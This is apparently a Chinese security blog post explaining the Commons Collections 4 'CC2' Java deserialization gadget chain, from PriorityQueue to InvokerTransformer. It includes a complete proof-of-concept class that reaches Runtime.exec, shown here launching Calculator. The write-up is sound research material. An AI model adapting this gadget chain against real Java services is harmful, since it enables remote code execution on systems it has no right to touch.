Java反序列化之另类CC2链--改编版CC1链

类似CC1链分析

​ 在代码审计的过程中,跟进代码时发现通过调用TransformingComparator时会进入到InvokerTransformer中,TransformingComparator中如果能够控制compare,就能够通过InvokerTransformer来达到反序列化成功的目标。InvokerTransformer部分的反射代码如下

1
2
3
4
5
6
ChainedTransformer chain = new ChainedTransformer(new ConstantTransformer(Runtime.class),
//反射实现getRuntime.exec("open -a Calculator");
new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class }, new Object[] {"getRuntime", new Class[0] }),
new InvokerTransformer("invoke", new Class[] {Object.class, Object[].class }, new Object[] {null, new Object[0] }),
new InvokerTransformer("exec",new Class[] { String.class }, new Object[]{"open -a Calculator"}));
TransformingComparator comparator = new TransformingComparator(chain);

下面可以跟进去分析下

Lm9odS.png

因为CC2链的起始为PriorityQueue.readObject()所以在该方法下的heapify()打了一个断点跟进调试。

Lm9XMq.png

这个地方的size可以控制,通过实例化后的PriorityQueue对象,通过add方法来进行设置。例如

LmCFzR.png

这样的情况下size的值就为2。继续跟进到siftDown下

LmCKFe.png

x就是传入的就是通过PriorityQueue对象传入的值。接下来到了siftDownUsingComparator

LmC3QI.png

就到了TransformingComparator的compare方法中

LmCdYQ.png

继续跟进就来到了ChainedTransformer这个类在分析CC1的时候就遇到过返回的值是一个chain,继续往下走,到最后走到了InvokerTransformer

LmCBSs.png

这个地方是类似一个后门的写法,是可以进行利用的。进而达到了反序列化的目标

Exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
package cc2;

import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.ChainedTransformer;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InvokerTransformer;
import java.lang.*;
import java.io.*;
import java.lang.reflect.Field;
import java.util.PriorityQueue;

public class PocTestDemo {
public static void main (String[] args) throws IOException, ClassNotFoundException, IllegalAccessException, NoSuchFieldException {
//利用链
// ObjectInputStream.readObject()
// PriorityQueue.readObject()
// ...
// TransformingComparator.compare()
// InvokerTransformer.transform()
// Method.invoke()
// Runtime.exec()
// 如利用链所示,如果能够调用到InvokerTransformer.transform(),那么既可以和CC1的后半段链一样。
ChainedTransformer chain = new ChainedTransformer(new ConstantTransformer(Runtime.class),
//反射实现getRuntime.exec("open -a Calculator");
new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class }, new Object[] {"getRuntime", new Class[0] }),
new InvokerTransformer("invoke", new Class[] {Object.class, Object[].class }, new Object[] {null, new Object[0] }),
new InvokerTransformer("exec",new Class[] { String.class }, new Object[]{"open -a Calculator"}));
TransformingComparator comparator = new TransformingComparator(chain);

PriorityQueue priorityQueue = new PriorityQueue();
priorityQueue.add(1);
priorityQueue.add(1);
//反射获取PriorityQueue的comparator字段
Field field = Class.forName("java.util.PriorityQueue").getDeclaredField("comparator");
field.setAccessible(true);
field.set(priorityQueue,comparator);

//序列化和反序列化
serialize(priorityQueue);
unserialize("ser.bin");



}


public static void serialize(Object obj) throws IOException{
ObjectOutputStream Outs = new ObjectOutputStream(new FileOutputStream("ser.bin"));
Outs.writeObject(obj);
Outs.close();
}

public static void unserialize(String Filename) throws IOException, ClassNotFoundException {
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
ois.readObject();
ois.close();
}
}

LmCffJ.png